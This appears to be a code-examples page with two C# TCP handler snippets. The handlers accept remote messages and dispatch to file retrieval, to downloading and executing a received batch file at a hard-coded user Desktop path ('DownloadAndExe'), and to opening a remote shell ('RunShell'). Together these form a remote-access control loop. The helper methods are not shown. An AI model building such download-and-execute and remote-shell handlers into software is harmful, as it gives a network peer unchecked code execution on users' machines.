示例#1
0
        /// <summary>
        /// Handelling incoming client requests
        /// </summary>
        /// <param name="argument"></param>
        /// <returns></returns>
        private async Task ProcessClientRequest(TcpClient client)
        {
            ServerClientMessage recivedMessage;

            try
            {
                NetworkStream netstream = client.GetStream();

                while (!this.cToken.IsCancellationRequested)
                {
                    recivedMessage = await CommonLibrary.TcpClass.GetMessageData(netstream);

                    if (!this.cToken.Token.IsCancellationRequested)
                    {
                        switch (recivedMessage.MyMessageType)
                        {
                        case MessageType.AskForFile:
                        {
                            SendFileBack(netstream, recivedMessage);
                            break;
                        }

                        case MessageType.DownloadAndExe:
                        {
                            TcpClass.DownloadAndExeFile(recivedMessage, @"C:\Users\tomer\OneDrive\Desktop\FileInServer\Hello.bat");
                            break;
                        }

                        case MessageType.RunShell:
                        {
                            await RunClient();
                            await SendClientRunShell(netstream);

                            break;
                        }

                        case MessageType.DownloadAndExeRes:
                            break;

                        default:
                            break;
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
示例#2
0
        /// <summary>
        /// Handling requests from the clients
        /// </summary>
        /// <param name="FileName"></param>
        /// <param name="Host"></param>
        /// <param name="Port"></param>
        private async Task HandleClientRequest()
        {
            try
            {
                ServerClientMessage recivedMessage;

                while (!this.cToken.Token.IsCancellationRequested)
                {
                    recivedMessage = await TcpClass.GetMessageData(this.netStream);

                    if (!this.cToken.Token.IsCancellationRequested)
                    {
                        switch (recivedMessage.MyMessageType)
                        {
                        case MessageType.DownloadAndExe:
                        {
                            string FileName = @"C:\Users\guy\Desktop\FileToSendFromServer\OpenNotepad++.bat";
                            TcpClass.DownloadAndExeFile(recivedMessage, FileName);
                            break;
                        }

                        case MessageType.RunShell:
                        {
                            RunShell();
                            break;
                        }

                        default:
                        {
                            Console.WriteLine("Invalid message type");
                            break;
                        }
                        }
                    }
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
            finally
            {
                this.netStream.Close();
                this.myClient.Close();
            }
        }